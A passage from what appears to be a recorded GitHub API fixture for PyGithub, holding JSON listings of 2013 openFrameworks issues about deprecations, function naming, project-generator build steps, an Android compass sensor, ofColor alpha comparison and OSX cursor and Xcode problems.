desktop","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":0,"created_at":"2013-07-22T13:13:09Z","updated_at":"2013-07-22T13:13:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2299","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2299/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2299/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2299/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2299","id":16977756,"number":2299,"title":"remove deprecated ofxCvMain.h","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":3,"created_at":"2013-07-19T15:45:44Z","updated_at":"2013-07-19T17:15:11Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This has been marked deprecated for a while and anyone still including it will have to update other aspects of their project anyway."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2283","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2283/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2283/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2283/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2283","id":16865521,"number":2283,"title":"deprecate/remove ofxQuickTimeGrabber/Player classes","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2013-07-17T13:55:11Z","updated_at":"2013-07-17T17:32:41Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"These don't compile with newer OSX sdks without Carbon right? "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2282","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2282/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2282/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2282/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2282","id":16865466,"number":2282,"title":"ofGLUtils function naming inconsistencies: \"Gl\" versus \"GL\"","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-07-17T13:54:12Z","updated_at":"2013-07-17T13:54:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Maybe this is something we missed in Maine, but there are two OpenGL camel case abbreviations in the functions in ofGLUtils.h. AFAICT all the newer stuff uses \"GL\", while these use \"Gl\":\r\n\r\n int ofGetGlInternalFormat(const ofPixels& pix);\r\n int ofGetGlInternalFormat(const ofShortPixels& pix);\r\n int ofGetGlInternalFormat(const ofFloatPixels& pix);\r\n\r\n string ofGetGlInternalFormatName(int glInternalFormat);\r\n int ofGetGLFormatFromInternal(int glInternalFormat); \r\n int ofGetGlType(const ofPixels & pixels);\r\n int ofGetGlType(const ofShortPixels & pixels);\r\n int ofGetGlType(const ofFloatPixels & pixels);\r\n\r\nIf we've made the other api-breaking changes already, these should be updated before the 0.8.0 release IMO."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2279","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2279/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2279/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2279/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2279","id":16854399,"number":2279,"title":"Feature Request: projectGenerator Post-Build Event","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-07-17T09:02:03Z","updated_at":"2013-07-17T09:02:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"for example:\r\n\r\nif I check \"ofxxxx\" to create a project, the program should add\r\n\r\n \"xcopy /e /i /y \"$(ProjectDir)..\\..\\..\\addons\\ofxxxx\\vs2010\\*.dll\" \"$(ProjectDir)bin\" \r\n\r\nto Property->Build Events->Post-Build Event->Command Line automaticlly\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2275","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2275/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2275/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2275/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2275","id":16836283,"number":2275,"title":"ofxAndroidMagneticField proposal [Do not Merge]","user":{"login":"onelittleweb","id":1971236,"avatar_url":"https://2.gravatar.com/avatar/18210b55555e6c85623bf09a41f0d782?d=https%3A%2F%2Fidenticons.github.com%2F4154dd7e468496840b44a9ad69938046.png","gravatar_id":"18210b55555e6c85623bf09a41f0d782","url":"https://api.github.com/users/onelittleweb","html_url":"https://github.com/onelittleweb","followers_url":"https://api.github.com/users/onelittleweb/followers","following_url":"https://api.github.com/users/onelittleweb/following{/other_user}","gists_url":"https://api.github.com/users/onelittleweb/gists{/gist_id}","starred_url":"https://api.github.com/users/onelittleweb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/onelittleweb/subscriptions","organizations_url":"https://api.github.com/users/onelittleweb/orgs","repos_url":"https://api.github.com/users/onelittleweb/repos","events_url":"https://api.github.com/users/onelittleweb/events{/privacy}","received_events_url":"https://api.github.com/users/onelittleweb/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-07-16T21:54:43Z","updated_at":"2013-08-01T11:58:28Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2275","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2275.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2275.patch"},"body":"First implementation of the MagneticField Sensor in Android. Needs testing and feedback from Android tablets and phones. \r\n\r\nThe compass uses accelerometer to improve sensor feedback trying to avoid 2.3 API and gyroscope / gravity hardware so maybe it´s not the most accurate way.\r\n \r\nMagnetic field is implemented in a different JAVA class, not sure if it should share class with other Android sensors similar to iOS CoreLocation.\r\n\r\nAn example is included for testing.\r\n\r\nBest,\r\n\r\nP."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2274","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2274/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2274/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2274/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2274","id":16836158,"number":2274,"title":"boring examples","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":6,"created_at":"2013-07-16T21:51:45Z","updated_at":"2013-07-31T18:10:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"In writing my mondo-all-examples app, I noticed there are a few examples that are just boring/non-sexy compared to the rest:\r\n\r\n* threadExample\r\n* eventsExample\r\n* conversionExample\r\n* advancedExample\r\n* advancedGlExample\r\n\r\nPerhaps they could be updated to both more instructive *and* fun to play with."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2273","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2273/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2273/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2273/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2273","id":16830044,"number":2273,"title":"ProjectGenerator issues ","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":14,"created_at":"2013-07-16T19:55:49Z","updated_at":"2013-07-17T05:38:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm noticing a number of issues with the \"old\" PG in `apps/devApps/projectGenerator`:\r\n\r\n* seems to not use addons_config.mk ADDONS_INCLUDES_EXCLUDE\r\n* if you generate/update projects for multiple CodeBlocks platforms(win, linux), the files are overwritten (I assume this is by design since a suffix in the name wouldn't be needed in the platform zip download)\r\n* the win codeblocks project I generated fails to link with the following error:\r\n\r\n cannot find -lstrmbase\r\n cannot find -lz"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '100300'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 10:42:46 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"ff413c4ac1c8950a3c117d577119cd9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 10:54:16 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377085393')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2496","id":18345408,"number":2496,"title":"ofColor == and != operators ignore alpha","user":{"login":"rbeitra","id":78566,"avatar_url":"https://0.gravatar.com/avatar/e70c7c24ab262f6f057820f2f35edab7?d=https%3A%2F%2Fidenticons.github.com%2Fa32bc8141e168ff20fdfe3f0fbc72155.png","gravatar_id":"e70c7c24ab262f6f057820f2f35edab7","url":"https://api.github.com/users/rbeitra","html_url":"https://github.com/rbeitra","followers_url":"https://api.github.com/users/rbeitra/followers","following_url":"https://api.github.com/users/rbeitra/following{/other_user}","gists_url":"https://api.github.com/users/rbeitra/gists{/gist_id}","starred_url":"https://api.github.com/users/rbeitra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbeitra/subscriptions","organizations_url":"https://api.github.com/users/rbeitra/orgs","repos_url":"https://api.github.com/users/rbeitra/repos","events_url":"https://api.github.com/users/rbeitra/events{/privacy}","received_events_url":"https://api.github.com/users/rbeitra/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-21T10:02:25Z","updated_at":"2013-08-21T10:02:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently the == and != operators for ofColor only compare rgb, the alpha value is ignored. Is there a good reason why this is happening? Are many users expecting alpha to be ignored?\r\n\r\nI can think of 2 solutions here. Ideally:\r\n- fix these operator functions to also compare alpha\r\n\r\nOr if that will break things for people then at least:\r\n- add a new function (ofColor::equalsRGBA()?) which does it\r\n\r\n\r\nhttps://github.com/openframeworks/openFrameworks/blob/57f7670e594758ef36d75cf896da003f6081bd75/libs/openFrameworks/types/ofColor.cpp#L545\r\nhttps://github.com/openframeworks/openFrameworks/blob/57f7670e594758ef36d75cf896da003f6081bd75/libs/openFrameworks/types/ofColor.cpp#L551"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2495","id":18340779,"number":2495,"title":"ofHideCursor() not working on OSX 10.8 (v0.8.0)","user":{"login":"comoc","id":843396,"avatar_url":"https://0.gravatar.com/avatar/c5d3d0065be3563bd1361cca886b80d9?d=https%3A%2F%2Fidenticons.github.com%2F9bd74aa54d59a3ddcfc282a365dbe453.png","gravatar_id":"c5d3d0065be3563bd1361cca886b80d9","url":"https://api.github.com/users/comoc","html_url":"https://github.com/comoc","followers_url":"https://api.github.com/users/comoc/followers","following_url":"https://api.github.com/users/comoc/following{/other_user}","gists_url":"https://api.github.com/users/comoc/gists{/gist_id}","starred_url":"https://api.github.com/users/comoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/comoc/subscriptions","organizations_url":"https://api.github.com/users/comoc/orgs","repos_url":"https://api.github.com/users/comoc/repos","events_url":"https://api.github.com/users/comoc/events{/privacy}","received_events_url":"https://api.github.com/users/comoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-21T08:04:26Z","updated_at":"2013-08-21T08:21:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofHideCursor() seems not working on Mac OS X 10.8 with of_v0.8.0_osx_release.\r\n```c++\r\nvoid testApp::setup(){\r\n ofHideCursor(); // <- The cursor is still shown.\r\n}\r\n```\r\nFor reference, I tried following code, then works fine.\r\n```c++\r\nvoid testApp::setup(){\r\nifdef __APPLE__\r\n CGDisplayHideCursor(NULL); // <- OK\r\n#endif\r\n}\r\n```\r\nCompiled with Xcode 4.6.2."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2494","id":18335634,"number":2494,"title":"targetconditionals.h not found error in XCode with openframeworks 0.8","user":{"login":"Jiffer","id":2372348,"avatar_url":"https://2.gravatar.com/avatar/1a4365e1a5be1e4b894f60f2add73c6f?d=https%3A%2F%2Fidenticons.github.com%2F294f1d758201292712cfef7db1f9aa7c.png","gravatar_id":"1a4365e1a5be1e4b894f60f2add73c6f","url":"https://api.github.com/users/Jiffer","html_url":"https://github.com/Jiffer","followers_url":"https://api.github.com/users/Jiffer/followers","following_url":"https://api.github.com/users/Jiffer/following{/other_user}","gists_url":"https://api.github.com/users/Jiffer/gists{/gist_id}","starred_url":"https://api.github.com/users/Jiffer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jiffer/subscriptions","organizations_url":"https://api.github.com/users/Jiffer/orgs","repos_url":"https://api.github.com/users/Jiffer/repos","events_url":"https://api.github.com/users/Jiffer/events{/privacy}","received_events_url":"https://api.github.com/users/Jiffer/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":0,"created_at":"2013-08-21T04:30:04Z","updated_at":"2013-08-21T08:18:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I was getting this error out of the box with osx 10.8.1 and xcode 4.6.3. I had to install the command line tools and that resolved it for me.\r\n\r\nGo to Xcode > Preferences > Downloads and click on \"install\" for the command line tools \r\n\r\ndid some digging and didn't see this addressed for the most (as of now) recent versions of things but I did find many other things to try that didn't work before stumbling on this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2493","id":18322687,"number":2493,"title":"const-corrections","user":{"login":"bakercp","id":300484,"avatar_url":"https://1.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"bakercp","id":300484,"avatar_url":"https://1.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/open